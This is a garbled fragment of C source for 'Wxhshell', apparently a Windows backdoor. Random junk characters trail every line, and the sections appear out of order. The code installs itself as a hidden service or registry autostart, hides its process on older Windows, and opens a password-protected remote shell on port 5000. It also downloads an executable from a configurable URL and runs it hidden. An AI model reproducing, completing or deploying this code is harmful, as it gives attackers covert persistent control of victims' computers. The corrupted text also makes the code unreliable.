DWORD PebBaseAddress; )@U~Li/+
DWORD AffinityMask; EJz!#f~
DWORD BasePriority; _7u&.l<;
ULONG UniqueProcessId; R$IsP,Uw
ULONG InheritedFromUniqueProcessId; U7/
=|Z
} PROCESS_BASIC_INFORMATION; /EQ^-4yr
D|$0~1y
PROCNTQSIP NtQueryInformationProcess; ^wSGrV'
|;aZi?Ek[
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 6^jrv [d
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; BINHCZ
3HR)H-@6@7
HANDLE hProcess; p]~PyzG!
PROCESS_BASIC_INFORMATION pbi; iu{;|E
=],c$)
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); m=COF$<
if(NULL == hInst ) return 0; kuLur)^
Z/GSR$@lI
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); sm[zE/2b
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |FaK=e
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); YsiH=x
o,_F;ZhE
if (!NtQueryInformationProcess) return 0; ow`F 7
]RadwH"0!
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Zs0;92WL
if(!hProcess) return 0; Kx[+$Qt
Yc)Dx3
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; hWn-[w/l_
pnuwjU-
CloseHandle(hProcess); dF! B5(
DBu8}2R
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Je^;[^
if(hProcess==NULL) return 0; 6r%i=z
R;U4a2~
HMODULE hMod; #U3q
+d+^
char procName[255]; @3b @]l5
unsigned long cbNeeded; )VG>6x
.DnG}884
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); ]<%NX
$9\
(<H@W/0$
CloseHandle(hProcess); XMI5j7CL
BGH'&t_5
if(strstr(procName,"services")) return 1; // 以服务启动 4}0YLwgJ
U? U3?Y-k`
return 0; // 注册表启动 09Q5gal
} wJgH15oB
ns/*WH&[x
// 主模块 g38MF
int StartWxhshell(LPSTR lpCmdLine) K-c>J
uv&,
{ ?vik2RW
SOCKET wsl; a7b1c!
BOOL val=TRUE; eAQ-r\h'2
int port=0; |Zo36@s
struct sockaddr_in door; B'y)bY'_dS
Kj?hcGl[
if(wscfg.ws_autoins) Install(); )*.rl
QQ=tiW
port=atoi(lpCmdLine); cs: ?Wq ^
p]s)Xys
if(port<=0) port=wscfg.ws_port; [%Z{Mp'g
66MUrNW
WSADATA data; &[PA?#I`
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 80gOh:
|1(L~g
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; u<Ch]m+
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 'w/S6j
door.sin_family = AF_INET; 7#N= GN
door.sin_addr.s_addr = inet_addr("127.0.0.1"); c4Q%MRR
door.sin_port = htons(port); p gv, Su
Z%
`$id
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Z;dR:|%)
closesocket(wsl); cp`ZeLz2^
return 1; ']^]z".H
} |@'K]$vZ*
`Xi)';p
if(listen(wsl,2) == INVALID_SOCKET) { 9m"EY@-
closesocket(wsl); kexvE 3
return 1; ^7:UC\_
} W_
;b e
Wxhshell(wsl); NXS$w{^
WSACleanup(); Cs vwc%
)2jH&}K
return 0; ]%G#x
}_+) :<Db
} cw_B^f8^
tI.ho
// 以NT服务方式启动 .\
vrBf
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) w H`GzB"
{ p~-)6)We?
DWORD status = 0; R3#| *)q
DWORD specificError = 0xfffffff; 9'vf2) "
Iq{/-,v
serviceStatus.dwServiceType = SERVICE_WIN32; m&MZn2u[4i
serviceStatus.dwCurrentState = SERVICE_START_PENDING; >@Na6BH5v
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; TyR@3H
serviceStatus.dwWin32ExitCode = 0; zTn.#-7y
serviceStatus.dwServiceSpecificExitCode = 0; b>}
)G7b}
serviceStatus.dwCheckPoint = 0; }JUc!cH8z
serviceStatus.dwWaitHint = 0; Yqt~h
ki?V
eFp
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); T.WN9=N
if (hServiceStatusHandle==0) return; -(#`JT8
I5Rd~-="G
status = GetLastError(); 3)(uC+?[
if (status!=NO_ERROR) _~y-?(46K
{ 0^d<@\
serviceStatus.dwCurrentState = SERVICE_STOPPED; nbDjoZZ4
serviceStatus.dwCheckPoint = 0; 1_@vxi~aW_
serviceStatus.dwWaitHint = 0; h;OHpvk
serviceStatus.dwWin32ExitCode = status; MiMDEe%f%
serviceStatus.dwServiceSpecificExitCode = specificError; >GDf*
ox[
SetServiceStatus(hServiceStatusHandle, &serviceStatus); pT:6A[&
return; NMN&mJsmh
} , LqfwA|
0p*Oxsy
serviceStatus.dwCurrentState = SERVICE_RUNNING; SU. $bsu
serviceStatus.dwCheckPoint = 0; uPb. uG
serviceStatus.dwWaitHint = 0; 0.U-
tg0
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); :vE\r#hJ"
} V#~.n;d
B2)5Z]
// 处理NT服务事件,比如:启动、停止 OHH\sA
VOID WINAPI NTServiceHandler(DWORD fdwControl) l%
{<+N
{ y@ c[S;
switch(fdwControl) ,Mn`kL<F
{ ;"NW=P&
case SERVICE_CONTROL_STOP: [q|8.>sB
serviceStatus.dwWin32ExitCode = 0; ~#=70
serviceStatus.dwCurrentState = SERVICE_STOPPED; Et&PzDvU
serviceStatus.dwCheckPoint = 0; ;F/w&u.n
serviceStatus.dwWaitHint = 0; '*K%\]
{ V$ "]f6
SetServiceStatus(hServiceStatusHandle, &serviceStatus); XU`vs`/
} X9YbTN
return; WG&WPV/p
case SERVICE_CONTROL_PAUSE: P#,g5
serviceStatus.dwCurrentState = SERVICE_PAUSED; NLev(B:OQH
break; C]krJse@
case SERVICE_CONTROL_CONTINUE: 07vzVsQ}p
serviceStatus.dwCurrentState = SERVICE_RUNNING; Mw6
Mt
break;
ql_,U8Jw
case SERVICE_CONTROL_INTERROGATE: 6PLdzZ{
break; wf~n>e^e
}; [tJp^?6*
SetServiceStatus(hServiceStatusHandle, &serviceStatus); yDi'@Z9R?
} u/`
t+-A
Aj"fkY|Q
// 标准应用程序主函数 D\z`+TyJ
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) |_16IEJ
{ oK2j PP
=^w:G =ymS
// 获取操作系统版本 Y>CZ
OsIsNt=GetOsVer(); 3o_@3-Y%
GetModuleFileName(NULL,ExeFile,MAX_PATH); 1HeE$
Z07SK 'U
// 从命令行安装 `Oe}OSxnT
if(strpbrk(lpCmdLine,"iI")) Install(); }t1J`+x%
9i!|wkx
// 下载执行文件 KY9@2JG
if(wscfg.ws_downexe) { 5&}p'6*K
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) mHc5NkvQC
WinExec(wscfg.ws_filenam,SW_HIDE); L ?S#3@Pa
} Az6tu <
\WM"VT
if(!OsIsNt) { T{lK$j
// 如果时win9x,隐藏进程并且设置为注册表启动 F2',3
HideProc(); xepp."O
StartWxhshell(lpCmdLine); bqQR";
} .QDeS|l
else kp,$ NfD
if(StartFromService()) piAFxS<6
// 以服务方式启动 W<Asr@
StartServiceCtrlDispatcher(DispatchTable); o#V{mm,{Pm
else ;2547b[]
// 普通方式启动 Y".4."NX
StartWxhshell(lpCmdLine); 4R9y~~+
W>E|Iv[o
return 0; q) y<\cEO
} KOhIk*AC'
uiaZ@
$kY ]HI
dU|&- .rG
=========================================== rC6{-42bb
o=C'u
2E@y0[C?
Z':w
X
?PU7xO;_
lT;uL~j
" &>vfm9
BSyS
DM
#include <stdio.h> vFi+ExBU
#include <string.h> "IRF^1 p
#include <windows.h> '~AR|8q?
#include <winsock2.h> g
?{o2gG
#include <winsvc.h> i:
VMCNH
#include <urlmon.h> B[;aNyd<
u56WB9Z
#pragma comment (lib, "Ws2_32.lib") %G'P!xQhy
#pragma comment (lib, "urlmon.lib") M[7$F&&n
$)VnHr `hy
#define MAX_USER 100 // 最大客户端连接数 $Sd pF-'
#define BUF_SOCK 200 // sock buffer x]~&4fp
#define KEY_BUFF 255 // 输入 buffer 6sNw#pqh
sQLjb8!7
#define REBOOT 0 // 重启 ria.MCe\!
#define SHUTDOWN 1 // 关机 uevhW
`"y:/F"{
#define DEF_PORT 5000 // 监听端口 *fQn!2}=(
y*#+:D]o*
#define REG_LEN 16 // 注册表键长度 5a2+6N
#define SVC_LEN 80 // NT服务名长度 y`8jz,&.
'oF ('uR
// 从dll定义API 5GDg_9Bz
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); aJ
J63aJ
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); MCl-er"]D
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); yhd]s0(!
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); o8N,mGj}
{ukQBu#}<
// wxhshell配置信息 7
/XfPF
struct WSCFG { |P7FPmn
int ws_port; // 监听端口 m`Pk )c0
char ws_passstr[REG_LEN]; // 口令 ?{wD%58^oG
int ws_autoins; // 安装标记, 1=yes 0=no N@V:nCl
char ws_regname[REG_LEN]; // 注册表键名 6T%5<I*&3s
char ws_svcname[REG_LEN]; // 服务名 }N"YlGY\Yn
char ws_svcdisp[SVC_LEN]; // 服务显示名 -{NP3zy
char ws_svcdesc[SVC_LEN]; // 服务描述信息 kQO-V4z!
char ws_passmsg[SVC_LEN]; // 密码输入提示信息 c uHF^l
int ws_downexe; // 下载执行标记, 1=yes 0=no Mt&n|']`8
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" UD ;UdehC
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m[s$) -T
o&>aYlXd
}; B{>x
?b\oM
v5y
// default Wxhshell configuration eZ{Ce.lNR
struct WSCFG wscfg={DEF_PORT, i-R}O6
"xuhuanlingzhe", 'ji|'x T
1, _,3%)sn-)
"Wxhshell", e//jd&G